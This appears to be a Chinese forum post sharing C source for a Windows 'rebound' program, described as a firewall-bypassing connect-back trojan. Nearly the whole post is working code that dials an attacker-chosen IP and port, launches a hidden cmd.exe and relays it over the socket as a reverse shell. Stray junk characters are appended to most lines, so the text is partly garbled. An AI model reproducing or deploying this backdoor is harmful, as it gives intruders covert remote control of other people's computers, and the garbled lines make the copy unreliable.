这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C~T,[U
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/* ============================== C4(xtSJSd!
Rebound port in Windows NT U*~-\jN1pb
By wind,2006/7 (e'8>Pv
===============================*/ 1Of(O!
#include <XLaJ;j
#include /''=V.-N
[
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#pragma comment(lib,"wsock32.lib") =Q<VU/
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void OutputShell(); ]t)N3n6Bc
SOCKET sClient; sY!JB7!j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dXxf{|gk>
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void main(int argc,char **argv) !-`L1D_hy
{ |Lg2;P7\
WSADATA stWsaData; Pp }Z"
int nRet; {A==av
SOCKADDR_IN stSaiClient,stSaiServer; B}TY+@
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if(argc != 3) \=WPJm`p
{ Z5v_- +K
printf("Useage:\n\rRebound DestIP DestPort\n"); UWO3sZpU
return; iz=cjmV?
} $\ZWQct
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WSAStartup(MAKEWORD(2,2),&stWsaData); PR"x&JG@
}169]!R
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KS8@A/f
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stSaiClient.sin_family = AF_INET; ]AA|BeL?|
stSaiClient.sin_port = htons(0); hk=[v7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c/+6M
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bJn&Y
{ ?Ojv<L-f.:
printf("Bind Socket Failed!\n"); J\@g3oGw
return; 9_wDh0b~p
} a_!H_J
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stSaiServer.sin_family = AF_INET; WA2NjxYz
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *DIY;)K
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $B?8\>_?
{ T/ ECW
printf("Connect Error!"); kk`K;`[tB
return; zwC ,,U
} lZRO"[<
OutputShell(); /TsXm-g#
} ,ASNa^7/>
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void OutputShell() .'o=J`|
{ Ba?1q%eG
char szBuff[1024]; *Zg=cI@)(
SECURITY_ATTRIBUTES stSecurityAttributes; {Y5@SIyE
OSVERSIONINFO stOsversionInfo; dBA&NW07
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w/
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STARTUPINFO stStartupInfo; &-FG}|*4M
char *szShell;
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PROCESS_INFORMATION stProcessInformation; QlvP[Jtr
unsigned long lBytesRead; ^ U,iDK_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); t0fgG/f'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ShL!7y*rT{
stSecurityAttributes.lpSecurityDescriptor = 0; oU,8?(}'~
stSecurityAttributes.bInheritHandle = TRUE; MR,I`9P e
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]#4kqj}
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); rAtCG1Vr
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u(3 uZ:
j5R0e}/r
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z[VrRT,\c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZDaHR-%Y
stStartupInfo.wShowWindow = SW_HIDE; nygGI_[l
stStartupInfo.hStdInput = hReadPipe; 93D}0kp
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jA {BG_
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GetVersionEx(&stOsversionInfo); h-Y>>l>PW0
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switch(stOsversionInfo.dwPlatformId) |LJv*
{ c
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case 1: zmZU"eWp)
szShell = "command.com"; v+x rnz
break; h
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default: q&[G^9
szShell = "cmd.exe"; HfH+U&
break; CLZj=J2
} LiFR7\z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0sSBwG
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send(sClient,szMsg,77,0); d~_5Jx
while(1) .<%q9Jy#
{ > .}G[C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c{to9Lk.#
if(lBytesRead) #O~pf[[L
{ Ff0V6j)ji
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~}p k^FA
send(sClient,szBuff,lBytesRead,0); !7~4`D
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} rZ.=Lq
else XFs7kTY
{ ubZuvWZ
lBytesRead=recv(sClient,szBuff,1024,0); WxD$k3U
if(lBytesRead<=0) break; :T PG~`k(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X`&Us
} aBQ --Sz
} cEp/qzAiD%
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return; %#4;'\'5
}